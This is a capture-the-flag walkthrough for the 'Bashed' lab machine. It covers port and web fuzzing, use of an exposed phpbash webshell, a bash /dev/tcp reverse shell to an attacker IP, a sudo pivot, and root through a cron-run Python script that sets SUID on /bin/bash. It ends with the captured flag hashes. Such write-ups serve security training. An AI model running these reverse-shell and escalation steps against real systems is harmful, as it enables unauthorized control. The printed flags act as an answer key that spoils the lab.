Skip to content

Bashed

Machine Details

Resolution Summary
  1. Enumerate web service to find phpbash.php (inside /dev/).
  2. Establish an interactive Bash reverse shell.
  3. Pivot to scriptmanager using sudo permissions.
  4. Enumerate files of gid 1001 to find a script that gets executed every minute as root.
  5. Modify script to escalate privileges.
Used tools
  • nmap
  • ffuf
  • python3

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.65.100 -oG ports
PORT   STATE SERVICE
80/tcp open  http

Enumerated open TCP ports:

❯ nmap -p80 -sCV -Pn -n -T4 10.129.65.100 -oN nmap
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Enumeration

Port 80 - HTTP (Apache)

If we go to the webpage we can see it talks about a tool which would allow us to have a webshell.

Webpage First View

We can click the arrow to go into the post which talks about the tool in more detail.

Webpage phpbash blog

The screenshot shows the file phpbash.php could be located at /uploads/phpbash.php. We can travel there to see it’s empty. So we start by fuzzing the webpage.

❯ ffuf -w=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.129.65.100/FUZZ -e .php,.html
uploads                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 45ms]
dev                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 72ms]

Among all the results we can see two that stand out from the other, both of them seems to be folders, one called uploads while the other is called dev.

We can check both of them using our web browser, we will see that /uploads/ contains nothing, while /dev/ has directory listing enabled, showing us the phpbash.php file.

Webpage dev directory listing

If we try it out, we see the shell is completely functional.

Webpage phpbash test


Exploitation

Reverse Shell

We already got a shell in the remote system as www-data, to work easily, we will launch a Reverse Shell and do the proper TTY Treatment. To launch the shell we can use a normal bash command, while listening on the especified port. The command we will be using today is.

bash -c 'bash -i >& /dev/tcp/10.10.17.107/3000 0>&1'

But, as we are sending it to a web page, to make sure all the characters get processed correctly, we will URL Encode the &, which gets converted to %26, so our final command is the following.

bash -c 'bash -i >%26 /dev/tcp/10.10.17.107/3000 0>%261'

Now we need to do a TTY Treatment in order to have a fully functional shell. We can do this by following the next steps.

script /dev/null -c /bin/bash
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
# Check terminal size in attacker.
stty size
# Set terminal size in reverse shell.
stty rows X cols Y

Once we completed all these steps, we have a fully functional reverse shell. We can find user flag in /home/arrexel/user.txt.


Lateral Movement to scriptmanager

Local Enumeration

We can quickly see that we have permissions to run any command as the user scriptmanager.

www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Lateral Movement vector

This means we can execute a shell as that user.

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$ whoami; id
scriptmanager
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)

Privilege Escalation to root

Local Enumeration

If we list files owned by scriptmanager we will see the following.

scriptmanager@bashed:/var/www/html/dev$ find / -uid 1001 2>/dev/null | grep -v "/proc"
/scripts
/scripts/test.py
scriptmanager@bashed:/var/www/html/dev$ cd /scripts
scriptmanager@bashed:/scripts$ ls -la
total 16
drwxrwxr--  2 scriptmanager scriptmanager 4096 Jun  2  2022 .
drwxr-xr-x 23 root          root          4096 Jun  2  2022 ..
-rw-r--r--  1 scriptmanager scriptmanager   58 Dec  4  2017 test.py
-rw-r--r--  1 root          root            12 Jan  6 15:00 test.txt
scriptmanager@bashed:/scripts$ cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
scriptmanager@bashed:/scripts$ date
Tue Jan  6 15:00:56 PST 2026

We are able to see that the file test.txt was created “just now”, if we monitor it we can see the time changing every minute. So there’s probably a crontab of root running this test.py.

We can confirm this by monitoring processes using the following script.

scriptmanager@bashed:/tmp$ cat procmon.sh
#!/bin/bash

old_ps="$(ps -eo user,command)"

while true; do
	new_ps="$(ps -eo user,command)"
	diff <(echo "$old_ps") <(echo "$new_ps") | grep "[\>\<]" | grep -Ev "kworker|procmon.sh"
	old_ps="$new_ps"
done
scriptmanager@bashed:/tmp$ ./procmon.sh 
> root     /usr/sbin/CRON -f
> root     /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
> root     python test.py
< root     /usr/sbin/CRON -f
< root     /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< root     python test.py

Privilege Escalation vector

So, we know that root is running every file ending in .py inside the /scripts folder. This means we can just create or modify one of them to execute code as root. The easiest way, giving SUID privileges to /bin/bash.

scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
scriptmanager@bashed:/scripts$ nano test.py
scriptmanager@bashed:/scripts$ cat test.py
import os

os.system("chmod u+s /bin/bash")
scriptmanager@bashed:/scripts$ /tmp/procmon.sh
> root     /usr/sbin/CRON -f
> root     /usr/sbin/CRON -f
< root     /usr/sbin/CRON -f
< root     /usr/sbin/CRON -f
^C
scriptmanager@bashed:/scripts$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1037528 Jun 24  2016 /bin/bash
scriptmanager@bashed:/scripts$ /bin/bash -p
bash-4.3# whoami; id; cat /root/root.txt
root
uid=1001(scriptmanager) gid=1001(scriptmanager) euid=0(root) groups=1001(scriptmanager)
9ba82132253dc412bbb0437caae0655e

Trophy

User.txt

a45eb9c9414a33cb83eb0bd3b4e6cf7f

Root.txt

9ba82132253dc412bbb0437caae0655e